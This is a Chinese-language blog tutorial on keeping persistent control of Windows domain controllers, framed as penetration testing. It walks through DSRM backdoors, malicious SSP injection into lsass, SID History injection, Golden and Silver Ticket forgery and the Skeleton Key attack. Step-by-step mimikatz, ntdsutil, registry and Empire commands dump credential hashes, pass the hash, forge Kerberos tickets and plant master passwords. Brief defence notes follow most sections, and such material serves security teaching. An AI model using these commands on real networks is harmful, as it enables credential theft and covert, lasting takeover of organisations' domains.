域渗透-域控维权

一:DSRM后门

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil 命令行工具。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。

我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户, 通过网络连接域控制器, 进而控制域控制器。

》》》修改DSRM密码《《《

微软公布了修改DSRM密码的方法。在域控制器上打开令行环境,常用命令说明如下:

NTDSUTIL: 打开ndsutil
set dsrm password:设置DSRM的密码。
reset pssword on server null:在当前域控制器上恢复DSRM密码。
<PASSWORD>:修改后的密码。
q(第1次):退出DSRM密码设置模式。
q(第2次):退出ntdsutil

如果域控制器的系统版本为Windows Server 2008已安装KB961320 及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令说明如下:

NTDSUTIL: 打开ntdsutil。
SET DSRM PASSWORD:设置DSRM的密码。
SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。
q(第1次):退出DSRM密码设置模式。
q(第2次):退出ntdsutil。

步骤一:使用mimikatz查看krbtgt 的NTLM Hash在域控制器中打开mimikatz执行如下命令。

privilege::debug
lsadump::lsa /patch /name:krbtgt

步骤二:mimikatz查看并获取SAM文件中本地管理员的NTLM也就是DSRM的NTLM Hash值

token::elevate
lsadump::sam

步骤三:将DSRM账号和krbtgt的NTML HASH同步

# 需要注意的是当前要用管理员身份执行CMD命令
PS C:\Users\Administrator\Desktop> NTDSUTIL
C:\Windows\system32\ntdsutil.exe: SET DSRM PASSWORD
重置 DSRM 管理员密码: SYNC FROM DOMAIN account krbtgt
已成功同步密码。
 
重置 DSRM 管理员密码: q
C:\Windows\system32\ntdsutil.exe: q

步骤四:查看DSRM的NTML Hash是否同步成功

token::elevate
lsadump::sam
lsadump::lsa /patch /name:krbtgt

步骤五:修改DSRM的登录方式

DSRM的三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  • 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。

在渗透测试中需要注意,在Windows Server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制。

如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输人如下命令,可以使用PowerShell进行更改

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

步骤六:在域成员机器的管理模式下打开Mimikatz并使用DSRM账号通过网络远程登录域控制器....

privilege::debug
sekurlsa::pth /domain:WIN-2012 /user:Administrator /ntml:6c4a2964d522d7160865d90f88392aac

步骤七:使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash

lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt

》》》DSRM域后门的防御措施《《《

  • 定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1, 或者删除该键值。
  • 定期修改城中所有城控制器的DSRM账号。
  • 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

二:SSP权限维持

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如NTLMKetberos,Negotiare. Seure Channe (Schannel )、DigestCredental ( CredSSP )。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是: LSA (Local Security Authority)用于身份验证; lsass.exe 作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

实验一:Mimikatz伪造SSP注入内存

步骤一:使用mimikatz将伪造的SSP注人内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注人内存的伪造的SSP将会丢失。

privilege::debug
misc::memssp

步骤二:注销当前用户。输入用户名和密码后重新登录,获取明文密码,密码存储在日志文件C:\Windows\System32\mimilsa.log中。

实验二:mimilib添加到注册表

步骤一:将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目录下,并将mimilib添加到注册表中。使用这种方法,系统重启也不会影响持久化的效果。

步骤二:修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages 项,加载新的DLL文件

步骤三:系统重启后如果DLL文件被成功加载,用户在登陆是输入的账号和密码明文就会被记录在C:\Windows\System32\Kiwissp.log中.....

》》》SSP维持域控权限防御方法《《《

  • 检查HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的DLL文件。
  • 检查C:WindowsSystem32\目录下是否有可疑的DLL文件。
  • 使用第三方工具检查LSA中是否有可疑的DLL文件。

三:SID History域后门

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的个属性。如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikaz,可以将SID History 属性添加到域中任意用户的SID History 属性中。在渗透测试中,如果获得了域管理员权限(或者等同于域管理员的权限).就可以将SIDHisoy作为实现持久化的方法。

步骤一:使用工具查看test用户的SID History属性并打开Mimikatz将Administrator的SID添加到test用户的SID History属性中,需要注意的是在使用mimikatz注入SID之前需要使用sid::patch命令修复NTDS服务,否则无法将高权限的SID注入低权限的用户的SID属性;mimikatz在2.1版本之后将misc::addsid模块添加到了sid::add

Import-Module .\Import-Active
GetADUser yyds -properties sidhitory
# mimikatz
privilege::debug
sid::patch    //以下命令如果执行失败则使用该命令修复NTDS服务
sid::add /sam:yyds /new:administrator

步骤二:再次使用PowerShell查看test用户的SID History并在域内主机上登录尝试列出域控制器C盘的目录 dir \\dc\c$

》》》SID History对抗方法《《《

  • 可以通过注入 SID History属性完成持久化任务。
  • 拥有高权限 SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
  • 如果不再需要通过 SID History属性实现持久化,可以使用sid::clear /sam:username 清除SID History的属性。
  • 经常查看域用户中SID为500的用户。
  • 完成域迁移工作后,对有相同SID History属性的用户进定期检查ID为4765和4766的日志。4765为将 SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

四:Golden Ticket/黄金票据

在渗透测试过程中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控机器进行断网处理,然后进行日志分析及取证。然而,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将krbtgt 账号重置,攻击者就能快速重新那会域控制器权限。

假设域内存在一个SID为502的域账号krbtgt。 krbtgt是 KDC服务使用的账号,属于Domain Admins组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。攻击者在使用域的 Golden Ticket(黄金票据)进行票据传递攻击时,通堂要堂握以下信息:

  1. 完整的域名
  2. 需要伪造的域管理员用户名
  1. 域SID-Krbtgt的NTLM Hash或AES-256

操作系统

角色

域名

用户名

Wins2012R2

DC

warsec.com

Administrator

Win10

Client

warsec.com

Administrator

步骤一:在域控上导出Krbtgt账户的NTLM Hash该方法使用dcsync功能远程转储活动目录中的ntds.dit。指定/user参数,可以只导出krbtgt账号的信息。

privilege::debug
lsadump::dcsync /domain:warsec.com /user:krbtgt

步骤二:获取基本信息包括:域SID/用户SID/域管理账号/域名等信息

(1)获取域SID
wmic useraccount get name,id
 
(2)获取当前用户的sid
whoami /user
 
(3)查询域管理员账户
net group "domain admins" /domain
 
(4)查询域名
ipconfig /all

步骤三:在获取域控的权限之后,查看当前用户机器所属的组....并尝试访问域控C盘共享...

步骤四:开始制作黄金票据...

(1)清空票据
kerberos::purge
 
(2)生成票据,使用mimikatz生成包含krbtgt身份的票据
kerberos::golden /admin:Administrator /domain:us.pentest.com /sid:    /krbtgt:    /ticket:Administrator.kiribi
 
(3)传递票据并注入内存
kerberos::ptt Administrator.kiribi
 
(4)检索当前会话中的票据
kerberos::tgt

步骤五:导入黄金票据之后验证权限....

dir \\dc\c$
在当前会话中使用wmiexec.vbs验证
cscript wmiexec.vbs /shell dc
 
使用krbtgt的AES-256生成票据并将其注入内存,也可以伪造用户。
kerberos::golden /admin:Administrator /domain:warsec.com /sid:    /aes256:    /ticket:Administrator.kiribi

》》》金票防御《《《

管理员通常会修改域管理员的密码,但有时会忘记将 krbtgt密码一并重置,所以,如果想防御 Golden Ticket攻击,就需要将krbtgt密码重置两次。

使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。

  • 域功能级别从 Windows 2000 Windows Server 2003提升至Windows Server 2008WindowsServer 2012。在提升域功能的过程中,krbtgt的密码会被自动修改。在大型企业中,域功能级别的提升耗时费力,绝大多数企业不会去提升自己的域功能级别,而这给 Golden Ticket攻击留下了可乘之机。
  • 用户自行进行安全检查和相关服务加固时会修改krbtgt 的密码。

五:Silver Ticket/白银票据

Silver Ticket(白银票据不同于 Golden Ticket, Silver Ticket的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要KDC颁发TGT,且在生成伪造的TGT 的20分钟内,TGS不会对该TGT 的真伪进行校验。

Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Tickett账号的密码散列值,因此更加隐蔽。

Golden Ticket使用krbtgt账号的密码散列值,利用伪造高权限任意服务访回权限的票据,从而获得域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,例如LDAP、 MSSQL、WinRM、 DNS、CIFS 等,范围有限,只能获取有限的权限。

Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。

攻击者在对内网进行攻击时,需要掌握以下信息。

  • 域名
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名

实验一:使用Sliver Ticket伪造CIFS服务权限...

# 客户端权限验证
dir \\dc\c$  
# 域控导出要控主机的NTLM Hash
mimikatz log "privilege::debg" "sekurlsa::logonpasswords"    获取服务账户的NTML
# 清空票据,防止干扰
klist purge    
# 使用伪造的silver ticket,在不能访问域控制器共享目录的机器中输入
kerberos::golden /domain:us.pentest.com /sid:    /target:pentest.com /service:cifs /ec4: /user:administrator /ptt
 
验证权限

实验二:使用Silver Ticket伪造LDAP服务权限

# 清除票据,防止受影响....
klist purge 
 
使用mimikatz生成伪造的Silver Ticket
kerberos::golden /domain:pentest.com /sid:    /target:us.pentest.com /service LDAP /rc4:    /user:test /ptt
 
lsadump::dcsync /dc:us.pentest.com /domain:pentest.com /user:krbtgt    再次查询散列值

Silver Ticket还可用于伪造其他服务,例如创建和修改计划任务、使用WMI对远程主机执行命令、使用PowerShell对远程主机进行管理等

》》》银票防御措施《《《
●在内网中安装杀毒软件,及时更新系统补丁。
●使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
●计算机的账号和密码默认每30天更改次。 检查该设置是否生效
六:Skeleton Key/万能密码
使用Skeleton Key(万能密码)可以对域内权限进行持久化操作....

操作系统

服务器角色

域环境

Windows Server 2012R2

DC

warsec.com

Windows 10

Client

warsec.om

实验一:在Mimikatz中使用Skeleton Key
步骤一:在Win10中尝试以当前的身份列出域控制器C盘共享目录中的文件,如下图访问不成功....

CAN

cmd

Desktopdir192.168.1.

C:Users1a0secD

拒绝访问.

C:Users1aosecDesktop

image.png


步骤二:在Win10中使用域管理员账号密码进行IPC$连接,连接成功再次列出域控制器的C盘共享...如下图所示

net use \\192.168.1.1\IPC$  "密码" /user:warsec\administrator

步骤三:在域控制器中以管理员权限打开Mimikatz并输入以下命令将SkeletonKey注入域控制器的Lsass.exe进程

系统会提示Skeleton Key已经注入成功,此时会在域内的所有账号中添加一个SkeletonKey其默认密码为“mimikatz”,接下来就可以以域内任意用户的身份配合该Skeleton Key进行域内身份验证了.....

privilege::debug
misc::skeleton

步骤四:在不使用域管理员账号和原始密码的情况下使用注入的Skeleton Key同样可以成功链接系统,输入以下命令将之前建立的IPC$链接删除...

net use         ## 查看现有的IPC$链接
net use  \\dc\ipc$ /del /y   ##将之前建立的IPC$链接删除

步骤五:输入以下命令使用域管理员账号和Skeleton Key与域控制器建立IPC$并查看域控的C盘共享...

net use \\dc\ipc$ "mimikatz" /user:warsec\administrator

实验二:在Empire中使用Skeleton Key

进入Emprie环境在成功反弹一个Empire的agent之后,使用interact命令进入该agent并输入“use module”命令,加载skeleton_keys模块。该模块通过PowerSploit的Invoke-Mimikatz.ps1脚本,在加载mimikatz之后,使用Powershell版的mimikatz中的misc::Sekelete命令,将Skelelton Key注入域控制器的Lsass.exe进程。

(Empire: agents) > interact KFSV7YB1
(Empire: KFSV7YB1) > usemodule persistence/misc/skeleton_key
(Empire: powershell/persistence/misc/skeleton_key) > execute
将skeleton_key注入后,empire提示可以通过mimikatz进入系统

》》》Skeleton Key攻击的防御措施《《《

2014年,微软在Windows操作系统中增加了LSA保护策略,以防止Isass.cxe进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。通用的Skeleton Key的防御措施列举如下。

  • 域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
  • 在所有城用户中启用双因子认证,例如智能卡认证。
  • 启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。
  • 在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
  • 只能在64位操作系统中使用,包括Wins2012、Wins2012R2、Wins08、Wins2008R2、Wins2003R2、Wins2003。
  • 只有具有城管理员权限的用户可以将SleloKeo注人城控制器的lass cxe进程。
  • Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。
  • 因为Selcton Key是被注入lsass.exeexe进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值